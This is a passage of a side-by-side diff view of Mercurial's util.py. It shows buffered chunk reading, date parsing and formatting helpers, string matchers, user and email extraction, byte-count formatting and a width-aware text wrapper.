1871 | 1875 | |
|
1872 | 1876 | If size parameter is omitted, read everything""" |
|
1873 | 1877 | if l is None: |
|
1874 | 1878 | return ''.join(self.iter) |
|
1875 | 1879 | |
|
1876 | 1880 | left = l |
|
1877 | 1881 | buf = [] |
|
1878 | 1882 | queue = self._queue |
|
1879 | 1883 | while left > 0: |
|
1880 | 1884 | # refill the queue |
|
1881 | 1885 | if not queue: |
|
1882 | 1886 | target = 2**18 |
|
1883 | 1887 | for chunk in self.iter: |
|
1884 | 1888 | queue.append(chunk) |
|
1885 | 1889 | target -= len(chunk) |
|
1886 | 1890 | if target <= 0: |
|
1887 | 1891 | break |
|
1888 | 1892 | if not queue: |
|
1889 | 1893 | break |
|
1890 | 1894 | |
|
1891 | 1895 | # The easy way to do this would be to queue.popleft(), modify the |
|
1892 | 1896 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
1893 | 1897 | # where we read partial chunk content, this incurs 2 dequeue |
|
1894 | 1898 | # mutations and creates a new str for the remaining chunk in the |
|
1895 | 1899 | # queue. Our code below avoids this overhead. |
|
1896 | 1900 | |
|
1897 | 1901 | chunk = queue[0] |
|
1898 | 1902 | chunkl = len(chunk) |
|
1899 | 1903 | offset = self._chunkoffset |
|
1900 | 1904 | |
|
1901 | 1905 | # Use full chunk. |
|
1902 | 1906 | if offset == 0 and left >= chunkl: |
|
1903 | 1907 | left -= chunkl |
|
1904 | 1908 | queue.popleft() |
|
1905 | 1909 | buf.append(chunk) |
|
1906 | 1910 | # self._chunkoffset remains at 0. |
|
1907 | 1911 | continue |
|
1908 | 1912 | |
|
1909 | 1913 | chunkremaining = chunkl - offset |
|
1910 | 1914 | |
|
1911 | 1915 | # Use all of unconsumed part of chunk. |
|
1912 | 1916 | if left >= chunkremaining: |
|
1913 | 1917 | left -= chunkremaining |
|
1914 | 1918 | queue.popleft() |
|
1915 | 1919 | # offset == 0 is enabled by block above, so this won't merely |
|
1916 | 1920 | # copy via ``chunk[0:]``. |
|
1917 | 1921 | buf.append(chunk[offset:]) |
|
1918 | 1922 | self._chunkoffset = 0 |
|
1919 | 1923 | |
|
1920 | 1924 | # Partial chunk needed. |
|
1921 | 1925 | else: |
|
1922 | 1926 | buf.append(chunk[offset:offset + left]) |
|
1923 | 1927 | self._chunkoffset += left |
|
1924 | 1928 | left -= chunkremaining |
|
1925 | 1929 | |
|
1926 | 1930 | return ''.join(buf) |
|
1927 | 1931 | |
|
1928 | 1932 | def filechunkiter(f, size=131072, limit=None): |
|
1929 | 1933 | """Create a generator that produces the data in the file size |
|
1930 | 1934 | (default 131072) bytes at a time, up to optional limit (default is |
|
1931 | 1935 | to read all data). Chunks may be less than size bytes if the |
|
1932 | 1936 | chunk is the last chunk in the file, or the file is a socket or |
|
1933 | 1937 | some other type of file that sometimes reads less data than is |
|
1934 | 1938 | requested.""" |
|
1935 | 1939 | assert size >= 0 |
|
1936 | 1940 | assert limit is None or limit >= 0 |
|
1937 | 1941 | while True: |
|
1938 | 1942 | if limit is None: |
|
1939 | 1943 | nbytes = size |
|
1940 | 1944 | else: |
|
1941 | 1945 | nbytes = min(limit, size) |
|
1942 | 1946 | s = nbytes and f.read(nbytes) |
|
1943 | 1947 | if not s: |
|
1944 | 1948 | break |
|
1945 | 1949 | if limit: |
|
1946 | 1950 | limit -= len(s) |
|
1947 | 1951 | yield s |
|
1948 | 1952 | |
|
1949 | 1953 | def makedate(timestamp=None): |
|
1950 | 1954 | '''Return a unix timestamp (or the current time) as a (unixtime, |
|
1951 | 1955 | offset) tuple based off the local timezone.''' |
|
1952 | 1956 | if timestamp is None: |
|
1953 | 1957 | timestamp = time.time() |
|
1954 | 1958 | if timestamp < 0: |
|
1955 | 1959 | hint = _("check your clock") |
|
1956 | 1960 | raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) |
|
1957 | 1961 | delta = (datetime.datetime.utcfromtimestamp(timestamp) - |
|
1958 | 1962 | datetime.datetime.fromtimestamp(timestamp)) |
|
1959 | 1963 | tz = delta.days * 86400 + delta.seconds |
|
1960 | 1964 | return timestamp, tz |
|
1961 | 1965 | |
|
1962 | 1966 | def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): |
|
1963 | 1967 | """represent a (unixtime, offset) tuple as a localized time. |
|
1964 | 1968 | unixtime is seconds since the epoch, and offset is the time zone's |
|
1965 | 1969 | number of seconds away from UTC. |
|
1966 | 1970 | |
|
1967 | 1971 | >>> datestr((0, 0)) |
|
1968 | 1972 | 'Thu Jan 01 00:00:00 1970 +0000' |
|
1969 | 1973 | >>> datestr((42, 0)) |
|
1970 | 1974 | 'Thu Jan 01 00:00:42 1970 +0000' |
|
1971 | 1975 | >>> datestr((-42, 0)) |
|
1972 | 1976 | 'Wed Dec 31 23:59:18 1969 +0000' |
|
1973 | 1977 | >>> datestr((0x7fffffff, 0)) |
|
1974 | 1978 | 'Tue Jan 19 03:14:07 2038 +0000' |
|
1975 | 1979 | >>> datestr((-0x80000000, 0)) |
|
1976 | 1980 | 'Fri Dec 13 20:45:52 1901 +0000' |
|
1977 | 1981 | """ |
|
1978 | 1982 | t, tz = date or makedate() |
|
1979 | 1983 | if "%1" in format or "%2" in format or "%z" in format: |
|
1980 | 1984 | sign = (tz > 0) and "-" or "+" |
|
1981 | 1985 | minutes = abs(tz) // 60 |
|
1982 | 1986 | q, r = divmod(minutes, 60) |
|
1983 | 1987 | format = format.replace("%z", "%1%2") |
|
1984 | 1988 | format = format.replace("%1", "%c%02d" % (sign, q)) |
|
1985 | 1989 | format = format.replace("%2", "%02d" % r) |
|
1986 | 1990 | d = t - tz |
|
1987 | 1991 | if d > 0x7fffffff: |
|
1988 | 1992 | d = 0x7fffffff |
|
1989 | 1993 | elif d < -0x80000000: |
|
1990 | 1994 | d = -0x80000000 |
|
1991 | 1995 | # Never use time.gmtime() and datetime.datetime.fromtimestamp() |
|
1992 | 1996 | # because they use the gmtime() system call which is buggy on Windows |
|
1993 | 1997 | # for negative values. |
|
1994 | 1998 | t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d) |
|
1995 | 1999 | s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format))) |
|
1996 | 2000 | return s |
|
1997 | 2001 | |
|
1998 | 2002 | def shortdate(date=None): |
|
1999 | 2003 | """turn (timestamp, tzoff) tuple into iso 8631 date.""" |
|
2000 | 2004 | return datestr(date, format='%Y-%m-%d') |
|
2001 | 2005 | |
|
2002 | 2006 | def parsetimezone(s): |
|
2003 | 2007 | """find a trailing timezone, if any, in string, and return a |
|
2004 | 2008 | (offset, remainder) pair""" |
|
2005 | 2009 | |
|
2006 | 2010 | if s.endswith("GMT") or s.endswith("UTC"): |
|
2007 | 2011 | return 0, s[:-3].rstrip() |
|
2008 | 2012 | |
|
2009 | 2013 | # Unix-style timezones [+-]hhmm |
|
2010 | 2014 | if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit(): |
|
2011 | 2015 | sign = (s[-5] == "+") and 1 or -1 |
|
2012 | 2016 | hours = int(s[-4:-2]) |
|
2013 | 2017 | minutes = int(s[-2:]) |
|
2014 | 2018 | return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip() |
|
2015 | 2019 | |
|
2016 | 2020 | # ISO8601 trailing Z |
|
2017 | 2021 | if s.endswith("Z") and s[-2:-1].isdigit(): |
|
2018 | 2022 | return 0, s[:-1] |
|
2019 | 2023 | |
|
2020 | 2024 | # ISO8601-style [+-]hh:mm |
|
2021 | 2025 | if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and |
|
2022 | 2026 | s[-5:-3].isdigit() and s[-2:].isdigit()): |
|
2023 | 2027 | sign = (s[-6] == "+") and 1 or -1 |
|
2024 | 2028 | hours = int(s[-5:-3]) |
|
2025 | 2029 | minutes = int(s[-2:]) |
|
2026 | 2030 | return -sign * (hours * 60 + minutes) * 60, s[:-6] |
|
2027 | 2031 | |
|
2028 | 2032 | return None, s |
|
2029 | 2033 | |
|
2030 | 2034 | def strdate(string, format, defaults=None): |
|
2031 | 2035 | """parse a localized time string and return a (unixtime, offset) tuple. |
|
2032 | 2036 | if the string cannot be parsed, ValueError is raised.""" |
|
2033 | 2037 | if defaults is None: |
|
2034 | 2038 | defaults = {} |
|
2035 | 2039 | |
|
2036 | 2040 | # NOTE: unixtime = localunixtime + offset |
|
2037 | 2041 | offset, date = parsetimezone(string) |
|
2038 | 2042 | |
|
2039 | 2043 | # add missing elements from defaults |
|
2040 | 2044 | usenow = False # default to using biased defaults |
|
2041 | 2045 | for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity |
|
2042 | 2046 | part = pycompat.bytestr(part) |
|
2043 | 2047 | found = [True for p in part if ("%"+p) in format] |
|
2044 | 2048 | if not found: |
|
2045 | 2049 | date += "@" + defaults[part][usenow] |
|
2046 | 2050 | format += "@%" + part[0] |
|
2047 | 2051 | else: |
|
2048 | 2052 | # We've found a specific time element, less specific time |
|
2049 | 2053 | # elements are relative to today |
|
2050 | 2054 | usenow = True |
|
2051 | 2055 | |
|
2052 | 2056 | timetuple = time.strptime(encoding.strfromlocal(date), |
|
2053 | 2057 | encoding.strfromlocal(format)) |
|
2054 | 2058 | localunixtime = int(calendar.timegm(timetuple)) |
|
2055 | 2059 | if offset is None: |
|
2056 | 2060 | # local timezone |
|
2057 | 2061 | unixtime = int(time.mktime(timetuple)) |
|
2058 | 2062 | offset = unixtime - localunixtime |
|
2059 | 2063 | else: |
|
2060 | 2064 | unixtime = localunixtime + offset |
|
2061 | 2065 | return unixtime, offset |
|
2062 | 2066 | |
|
2063 | 2067 | def parsedate(date, formats=None, bias=None): |
|
2064 | 2068 | """parse a localized date/time and return a (unixtime, offset) tuple. |
|
2065 | 2069 | |
|
2066 | 2070 | The date may be a "unixtime offset" string or in one of the specified |
|
2067 | 2071 | formats. If the date already is a (unixtime, offset) tuple, it is returned. |
|
2068 | 2072 | |
|
2069 | 2073 | >>> parsedate(b' today ') == parsedate( |
|
2070 | 2074 | ... datetime.date.today().strftime('%b %d').encode('ascii')) |
|
2071 | 2075 | True |
|
2072 | 2076 | >>> parsedate(b'yesterday ') == parsedate( |
|
2073 | 2077 | ... (datetime.date.today() - datetime.timedelta(days=1) |
|
2074 | 2078 | ... ).strftime('%b %d').encode('ascii')) |
|
2075 | 2079 | True |
|
2076 | 2080 | >>> now, tz = makedate() |
|
2077 | 2081 | >>> strnow, strtz = parsedate(b'now') |
|
2078 | 2082 | >>> (strnow - now) < 1 |
|
2079 | 2083 | True |
|
2080 | 2084 | >>> tz == strtz |
|
2081 | 2085 | True |
|
2082 | 2086 | """ |
|
2083 | 2087 | if bias is None: |
|
2084 | 2088 | bias = {} |
|
2085 | 2089 | if not date: |
|
2086 | 2090 | return 0, 0 |
|
2087 | 2091 | if isinstance(date, tuple) and len(date) == 2: |
|
2088 | 2092 | return date |
|
2089 | 2093 | if not formats: |
|
2090 | 2094 | formats = defaultdateformats |
|
2091 | 2095 | date = date.strip() |
|
2092 | 2096 | |
|
2093 | 2097 | if date == 'now' or date == _('now'): |
|
2094 | 2098 | return makedate() |
|
2095 | 2099 | if date == 'today' or date == _('today'): |
|
2096 | 2100 | date = datetime.date.today().strftime(r'%b %d') |
|
2097 | 2101 | date = encoding.strtolocal(date) |
|
2098 | 2102 | elif date == 'yesterday' or date == _('yesterday'): |
|
2099 | 2103 | date = (datetime.date.today() - |
|
2100 | 2104 | datetime.timedelta(days=1)).strftime(r'%b %d') |
|
2101 | 2105 | date = encoding.strtolocal(date) |
|
2102 | 2106 | |
|
2103 | 2107 | try: |
|
2104 | 2108 | when, offset = map(int, date.split(' ')) |
|
2105 | 2109 | except ValueError: |
|
2106 | 2110 | # fill out defaults |
|
2107 | 2111 | now = makedate() |
|
2108 | 2112 | defaults = {} |
|
2109 | 2113 | for part in ("d", "mb", "yY", "HI", "M", "S"): |
|
2110 | 2114 | # this piece is for rounding the specific end of unknowns |
|
2111 | 2115 | b = bias.get(part) |
|
2112 | 2116 | if b is None: |
|
2113 | 2117 | if part[0:1] in "HMS": |
|
2114 | 2118 | b = "00" |
|
2115 | 2119 | else: |
|
2116 | 2120 | b = "0" |
|
2117 | 2121 | |
|
2118 | 2122 | # this piece is for matching the generic end to today's date |
|
2119 | 2123 | n = datestr(now, "%" + part[0:1]) |
|
2120 | 2124 | |
|
2121 | 2125 | defaults[part] = (b, n) |
|
2122 | 2126 | |
|
2123 | 2127 | for format in formats: |
|
2124 | 2128 | try: |
|
2125 | 2129 | when, offset = strdate(date, format, defaults) |
|
2126 | 2130 | except (ValueError, OverflowError): |
|
2127 | 2131 | pass |
|
2128 | 2132 | else: |
|
2129 | 2133 | break |
|
2130 | 2134 | else: |
|
2131 | 2135 | raise error.ParseError(_('invalid date: %r') % date) |
|
2132 | 2136 | # validate explicit (probably user-specified) date and |
|
2133 | 2137 | # time zone offset. values must fit in signed 32 bits for |
|
2134 | 2138 | # current 32-bit linux runtimes. timezones go from UTC-12 |
|
2135 | 2139 | # to UTC+14 |
|
2136 | 2140 | if when < -0x80000000 or when > 0x7fffffff: |
|
2137 | 2141 | raise error.ParseError(_('date exceeds 32 bits: %d') % when) |
|
2138 | 2142 | if offset < -50400 or offset > 43200: |
|
2139 | 2143 | raise error.ParseError(_('impossible time zone offset: %d') % offset) |
|
2140 | 2144 | return when, offset |
|
2141 | 2145 | |
|
2142 | 2146 | def matchdate(date): |
|
2143 | 2147 | """Return a function that matches a given date match specifier |
|
2144 | 2148 | |
|
2145 | 2149 | Formats include: |
|
2146 | 2150 | |
|
2147 | 2151 | '{date}' match a given date to the accuracy provided |
|
2148 | 2152 | |
|
2149 | 2153 | '<{date}' on or before a given date |
|
2150 | 2154 | |
|
2151 | 2155 | '>{date}' on or after a given date |
|
2152 | 2156 | |
|
2153 | 2157 | >>> p1 = parsedate(b"10:29:59") |
|
2154 | 2158 | >>> p2 = parsedate(b"10:30:00") |
|
2155 | 2159 | >>> p3 = parsedate(b"10:30:59") |
|
2156 | 2160 | >>> p4 = parsedate(b"10:31:00") |
|
2157 | 2161 | >>> p5 = parsedate(b"Sep 15 10:30:00 1999") |
|
2158 | 2162 | >>> f = matchdate(b"10:30") |
|
2159 | 2163 | >>> f(p1[0]) |
|
2160 | 2164 | False |
|
2161 | 2165 | >>> f(p2[0]) |
|
2162 | 2166 | True |
|
2163 | 2167 | >>> f(p3[0]) |
|
2164 | 2168 | True |
|
2165 | 2169 | >>> f(p4[0]) |
|
2166 | 2170 | False |
|
2167 | 2171 | >>> f(p5[0]) |
|
2168 | 2172 | False |
|
2169 | 2173 | """ |
|
2170 | 2174 | |
|
2171 | 2175 | def lower(date): |
|
2172 | 2176 | d = {'mb': "1", 'd': "1"} |
|
2173 | 2177 | return parsedate(date, extendeddateformats, d)[0] |
|
2174 | 2178 | |
|
2175 | 2179 | def upper(date): |
|
2176 | 2180 | d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} |
|
2177 | 2181 | for days in ("31", "30", "29"): |
|
2178 | 2182 | try: |
|
2179 | 2183 | d["d"] = days |
|
2180 | 2184 | return parsedate(date, extendeddateformats, d)[0] |
|
2181 | 2185 | except Abort: |
|
2182 | 2186 | pass |
|
2183 | 2187 | d["d"] = "28" |
|
2184 | 2188 | return parsedate(date, extendeddateformats, d)[0] |
|
2185 | 2189 | |
|
2186 | 2190 | date = date.strip() |
|
2187 | 2191 | |
|
2188 | 2192 | if not date: |
|
2189 | 2193 | raise Abort(_("dates cannot consist entirely of whitespace")) |
|
2190 | 2194 | elif date[0] == "<": |
|
2191 | 2195 | if not date[1:]: |
|
2192 | 2196 | raise Abort(_("invalid day spec, use '<DATE'")) |
|
2193 | 2197 | when = upper(date[1:]) |
|
2194 | 2198 | return lambda x: x <= when |
|
2195 | 2199 | elif date[0] == ">": |
|
2196 | 2200 | if not date[1:]: |
|
2197 | 2201 | raise Abort(_("invalid day spec, use '>DATE'")) |
|
2198 | 2202 | when = lower(date[1:]) |
|
2199 | 2203 | return lambda x: x >= when |
|
2200 | 2204 | elif date[0] == "-": |
|
2201 | 2205 | try: |
|
2202 | 2206 | days = int(date[1:]) |
|
2203 | 2207 | except ValueError: |
|
2204 | 2208 | raise Abort(_("invalid day spec: %s") % date[1:]) |
|
2205 | 2209 | if days < 0: |
|
2206 | 2210 | raise Abort(_("%s must be nonnegative (see 'hg help dates')") |
|
2207 | 2211 | % date[1:]) |
|
2208 | 2212 | when = makedate()[0] - days * 3600 * 24 |
|
2209 | 2213 | return lambda x: x >= when |
|
2210 | 2214 | elif " to " in date: |
|
2211 | 2215 | a, b = date.split(" to ") |
|
2212 | 2216 | start, stop = lower(a), upper(b) |
|
2213 | 2217 | return lambda x: x >= start and x <= stop |
|
2214 | 2218 | else: |
|
2215 | 2219 | start, stop = lower(date), upper(date) |
|
2216 | 2220 | return lambda x: x >= start and x <= stop |
|
2217 | 2221 | |
|
2218 | 2222 | def stringmatcher(pattern, casesensitive=True): |
|
2219 | 2223 | """ |
|
2220 | 2224 | accepts a string, possibly starting with 're:' or 'literal:' prefix. |
|
2221 | 2225 | returns the matcher name, pattern, and matcher function. |
|
2222 | 2226 | missing or unknown prefixes are treated as literal matches. |
|
2223 | 2227 | |
|
2224 | 2228 | helper for tests: |
|
2225 | 2229 | >>> def test(pattern, *tests): |
|
2226 | 2230 | ... kind, pattern, matcher = stringmatcher(pattern) |
|
2227 | 2231 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
2228 | 2232 | >>> def itest(pattern, *tests): |
|
2229 | 2233 | ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) |
|
2230 | 2234 | ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
|
2231 | 2235 | |
|
2232 | 2236 | exact matching (no prefix): |
|
2233 | 2237 | >>> test(b'abcdefg', b'abc', b'def', b'abcdefg') |
|
2234 | 2238 | ('literal', 'abcdefg', [False, False, True]) |
|
2235 | 2239 | |
|
2236 | 2240 | regex matching ('re:' prefix) |
|
2237 | 2241 | >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar') |
|
2238 | 2242 | ('re', 'a.+b', [False, False, True]) |
|
2239 | 2243 | |
|
2240 | 2244 | force exact matches ('literal:' prefix) |
|
2241 | 2245 | >>> test(b'literal:re:foobar', b'foobar', b're:foobar') |
|
2242 | 2246 | ('literal', 're:foobar', [False, True]) |
|
2243 | 2247 | |
|
2244 | 2248 | unknown prefixes are ignored and treated as literals |
|
2245 | 2249 | >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar') |
|
2246 | 2250 | ('literal', 'foo:bar', [False, False, True]) |
|
2247 | 2251 | |
|
2248 | 2252 | case insensitive regex matches |
|
2249 | 2253 | >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar') |
|
2250 | 2254 | ('re', 'A.+b', [False, False, True]) |
|
2251 | 2255 | |
|
2252 | 2256 | case insensitive literal matches |
|
2253 | 2257 | >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg') |
|
2254 | 2258 | ('literal', 'ABCDEFG', [False, False, True]) |
|
2255 | 2259 | """ |
|
2256 | 2260 | if pattern.startswith('re:'): |
|
2257 | 2261 | pattern = pattern[3:] |
|
2258 | 2262 | try: |
|
2259 | 2263 | flags = 0 |
|
2260 | 2264 | if not casesensitive: |
|
2261 | 2265 | flags = remod.I |
|
2262 | 2266 | regex = remod.compile(pattern, flags) |
|
2263 | 2267 | except remod.error as e: |
|
2264 | 2268 | raise error.ParseError(_('invalid regular expression: %s') |
|
2265 | 2269 | % e) |
|
2266 | 2270 | return 're', pattern, regex.search |
|
2267 | 2271 | elif pattern.startswith('literal:'): |
|
2268 | 2272 | pattern = pattern[8:] |
|
2269 | 2273 | |
|
2270 | 2274 | match = pattern.__eq__ |
|
2271 | 2275 | |
|
2272 | 2276 | if not casesensitive: |
|
2273 | 2277 | ipat = encoding.lower(pattern) |
|
2274 | 2278 | match = lambda s: ipat == encoding.lower(s) |
|
2275 | 2279 | return 'literal', pattern, match |
|
2276 | 2280 | |
|
2277 | 2281 | def shortuser(user): |
|
2278 | 2282 | """Return a short representation of a user name or email address.""" |
|
2279 | 2283 | f = user.find('@') |
|
2280 | 2284 | if f >= 0: |
|
2281 | 2285 | user = user[:f] |
|
2282 | 2286 | f = user.find('<') |
|
2283 | 2287 | if f >= 0: |
|
2284 | 2288 | user = user[f + 1:] |
|
2285 | 2289 | f = user.find(' ') |
|
2286 | 2290 | if f >= 0: |
|
2287 | 2291 | user = user[:f] |
|
2288 | 2292 | f = user.find('.') |
|
2289 | 2293 | if f >= 0: |
|
2290 | 2294 | user = user[:f] |
|
2291 | 2295 | return user |
|
2292 | 2296 | |
|
2293 | 2297 | def emailuser(user): |
|
2294 | 2298 | """Return the user portion of an email address.""" |
|
2295 | 2299 | f = user.find('@') |
|
2296 | 2300 | if f >= 0: |
|
2297 | 2301 | user = user[:f] |
|
2298 | 2302 | f = user.find('<') |
|
2299 | 2303 | if f >= 0: |
|
2300 | 2304 | user = user[f + 1:] |
|
2301 | 2305 | return user |
|
2302 | 2306 | |
|
2303 | 2307 | def email(author): |
|
2304 | 2308 | '''get email of author.''' |
|
2305 | 2309 | r = author.find('>') |
|
2306 | 2310 | if r == -1: |
|
2307 | 2311 | r = None |
|
2308 | 2312 | return author[author.find('<') + 1:r] |
|
2309 | 2313 | |
|
2310 | 2314 | def ellipsis(text, maxlength=400): |
|
2311 | 2315 | """Trim string to at most maxlength (default: 400) columns in display.""" |
|
2312 | 2316 | return encoding.trim(text, maxlength, ellipsis='...') |
|
2313 | 2317 | |
|
2314 | 2318 | def unitcountfn(*unittable): |
|
2315 | 2319 | '''return a function that renders a readable count of some quantity''' |
|
2316 | 2320 | |
|
2317 | 2321 | def go(count): |
|
2318 | 2322 | for multiplier, divisor, format in unittable: |
|
2319 | 2323 | if abs(count) >= divisor * multiplier: |
|
2320 | 2324 | return format % (count / float(divisor)) |
|
2321 | 2325 | return unittable[-1][2] % count |
|
2322 | 2326 | |
|
2323 | 2327 | return go |
|
2324 | 2328 | |
|
2325 | 2329 | def processlinerange(fromline, toline): |
|
2326 | 2330 | """Check that linerange <fromline>:<toline> makes sense and return a |
|
2327 | 2331 | 0-based range. |
|
2328 | 2332 | |
|
2329 | 2333 | >>> processlinerange(10, 20) |
|
2330 | 2334 | (9, 20) |
|
2331 | 2335 | >>> processlinerange(2, 1) |
|
2332 | 2336 | Traceback (most recent call last): |
|
2333 | 2337 | ... |
|
2334 | 2338 | ParseError: line range must be positive |
|
2335 | 2339 | >>> processlinerange(0, 5) |
|
2336 | 2340 | Traceback (most recent call last): |
|
2337 | 2341 | ... |
|
2338 | 2342 | ParseError: fromline must be strictly positive |
|
2339 | 2343 | """ |
|
2340 | 2344 | if toline - fromline < 0: |
|
2341 | 2345 | raise error.ParseError(_("line range must be positive")) |
|
2342 | 2346 | if fromline < 1: |
|
2343 | 2347 | raise error.ParseError(_("fromline must be strictly positive")) |
|
2344 | 2348 | return fromline - 1, toline |
|
2345 | 2349 | |
|
2346 | 2350 | bytecount = unitcountfn( |
|
2347 | 2351 | (100, 1 << 30, _('%.0f GB')), |
|
2348 | 2352 | (10, 1 << 30, _('%.1f GB')), |
|
2349 | 2353 | (1, 1 << 30, _('%.2f GB')), |
|
2350 | 2354 | (100, 1 << 20, _('%.0f MB')), |
|
2351 | 2355 | (10, 1 << 20, _('%.1f MB')), |
|
2352 | 2356 | (1, 1 << 20, _('%.2f MB')), |
|
2353 | 2357 | (100, 1 << 10, _('%.0f KB')), |
|
2354 | 2358 | (10, 1 << 10, _('%.1f KB')), |
|
2355 | 2359 | (1, 1 << 10, _('%.2f KB')), |
|
2356 | 2360 | (1, 1, _('%.0f bytes')), |
|
2357 | 2361 | ) |
|
2358 | 2362 | |
|
2359 | 2363 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2360 | 2364 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2361 | 2365 | # stray CR is an error. |
|
2362 | 2366 | _eolre = remod.compile(br'\r*\n') |
|
2363 | 2367 | |
|
2364 | 2368 | def tolf(s): |
|
2365 | 2369 | return _eolre.sub('\n', s) |
|
2366 | 2370 | |
|
2367 | 2371 | def tocrlf(s): |
|
2368 | 2372 | return _eolre.sub('\r\n', s) |
|
2369 | 2373 | |
|
2370 | 2374 | if pycompat.oslinesep == '\r\n': |
|
2371 | 2375 | tonativeeol = tocrlf |
|
2372 | 2376 | fromnativeeol = tolf |
|
2373 | 2377 | else: |
|
2374 | 2378 | tonativeeol = pycompat.identity |
|
2375 | 2379 | fromnativeeol = pycompat.identity |
|
2376 | 2380 | |
|
2377 | 2381 | def escapestr(s): |
|
2378 | 2382 | # call underlying function of s.encode('string_escape') directly for |
|
2379 | 2383 | # Python 3 compatibility |
|
2380 | 2384 | return codecs.escape_encode(s)[0] |
|
2381 | 2385 | |
|
2382 | 2386 | def unescapestr(s): |
|
2383 | 2387 | return codecs.escape_decode(s)[0] |
|
2384 | 2388 | |
|
2385 | 2389 | def forcebytestr(obj): |
|
2386 | 2390 | """Portably format an arbitrary object (e.g. exception) into a byte |
|
2387 | 2391 | string.""" |
|
2388 | 2392 | try: |
|
2389 | 2393 | return pycompat.bytestr(obj) |
|
2390 | 2394 | except UnicodeEncodeError: |
|
2391 | 2395 | # non-ascii string, may be lossy |
|
2392 | 2396 | return pycompat.bytestr(encoding.strtolocal(str(obj))) |
|
2393 | 2397 | |
|
2394 | 2398 | def uirepr(s): |
|
2395 | 2399 | # Avoid double backslash in Windows path repr() |
|
2396 | 2400 | return repr(s).replace('\\\\', '\\') |
|
2397 | 2401 | |
|
2398 | 2402 | # delay import of textwrap |
|
2399 | 2403 | def MBTextWrapper(**kwargs): |
|
2400 | 2404 | class tw(textwrap.TextWrapper): |
|
2401 | 2405 | """ |
|
2402 | 2406 | Extend TextWrapper for width-awareness. |
|
2403 | 2407 | |
|
2404 | 2408 | Neither number of 'bytes' in any encoding nor 'characters' is |
|
2405 | 2409 | appropriate to calculate terminal columns for specified string. |
|
2406 | 2410 | |
|
2407 | 2411 | Original TextWrapper implementation uses built-in 'len()' directly, |
|
2408 | 2412 | so overriding is needed to use width information of each characters. |
|
2409 | 2413 | |
|
2410 | 2414 | In addition, characters classified into 'ambiguous' width are |
|
2411 | 2415 | treated as wide in East Asian area, but as narrow in other. |
|
2412 | 2416 | |
|
2413 | 2417 | This requires use decision to determine width of such characters. |
|
2414 | 2418 | """ |
|
2415 | 2419 | def _cutdown(self, ucstr, space_left): |
|
2416 | 2420 | l = 0 |
|
2417 | 2421 | colwidth = encoding.ucolwidth |
|
2418 | 2422 | for i in xrange(len(ucstr)): |
|
2419 | 2423 | l += colwidth(ucstr[i]) |
|
2420 | 2424 | if space_left < l: |
|
2421 | 2425 | return (ucstr[:i], ucstr[i:]) |
|
2422 | 2426 | return ucstr, '' |
|
2423 | 2427 | |
|
2424 | 2428 | # overriding of base class |
|
2425 | 2429 | def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width): |
|
2426 | 2430 | space_left = max(width - cur_len, 1) |
|
2427 | 2431 | |
|
2428 | 2432 | if self.break_long_words: |
|
2429 | 2433 | cut, res = self._cutdown(reversed_chunks[-1], space_left) |
|
2430 | 2434 | cur_line.append(cut) |
|
2431 | 2435 | reversed_chunks[-1] = res |
|
2432 | 2436 | elif not cur_line: |
|
2433 | 2437 | cur_line.append(reversed_chunks.pop()) |
|
2434 | 2438 | |
|
2435 | 2439 | # this overriding code is imported from TextWrapper of Python 2.6 |
|
2436 | 2440 | # to calculate columns of string by 'encoding.ucolwidth()' |
|
2437 | 2441 | def _wrap_chunks(self, chunks): |
|
2438 | 2442 | colwidth = encoding.ucolwidth |
|
2439 | 2443 | |
|
2440 | 2444 | lines = [] |
|
2441 | 2445 | if self.width <= 0: |
|
2442 | 2446 | raise ValueError("invalid width %r (must be > 0)" % self.width) |
|
2443 | 2447 | |
|
2444 | 2448 | # Arrange in reverse order so items can be efficiently popped |
|
2445 | 2449 | # from a stack of chucks. |
|
2446 | 2450 | chunks.reverse() |
|
2447 | 2451 | |
|
2448 | 2452 | while chunks: |
|
2449 | 2453 | |
|
2450 | 2454 | # Start the list of chunks that will make up the current line. |
|
2451 | 2455 | # cur_len is just the length of all the chunks in cur_line. |
|
2452 | 2456 | cur_line = [] |
|
2453 | 2457 | cur_len = 0 |
|
2454 | 2458 | |
|
2455 | 2459 | # Figure out which static string will prefix this line. |
|
2456 | 2460 | if lines: |
|
2457 | 2461 | indent = self.subsequent_indent |
|
2458 | 2462 | else: |
|
2459 | 2463 | indent = self.initial_indent |
|
2460 | 2464 | |
|
2461 | 2465 | # Maximum width for this line. |
|
2462 | 2466 | width = self.width - len(indent) |
|
2463 | 2467 | |
|
2464 | 2468 | # First chunk on line is whitespace -- drop it, unless this |
|
2465 | 2469 | # is the very beginning of the text (i.e. no lines started yet). |
|
2466 | 2470 | if self.drop_whitespace and chunks[-1].strip() == r'' and lines: |
|
2467 | 2471 | del chunks[-1] |
|
2468 | 2472 | |
|
2469 | 2473 | while chunks: |
|
2470 | 2474 | l = colwidth(chunks[-1]) |
|
2471 | 2475 | |
|
2472 | 2476 | # Can at least squeeze this chunk onto the current line. |
|
2473 | 2477 | if cur_len + l <= width: |
|
2474 | 2478 | cur_line.append(chunks.pop()) |
|
2475 | 2479 | cur_len += l |
|
2476 | 2480 | |
|
2477 | 2481 | # Nope, this line is full. |
|
2478 | 2482 | else: |
|
2479 | 2483 | break |
|
2480 | 2484 | |
|
2481 | 2485 | # The current line is full, and the next chunk is too big to |
|
2482 | 2486 | # fit on *any* line (not just this one). |
|
2483 | 2487 | if chunks and colwidth(chunks[-1]) > width: |
|
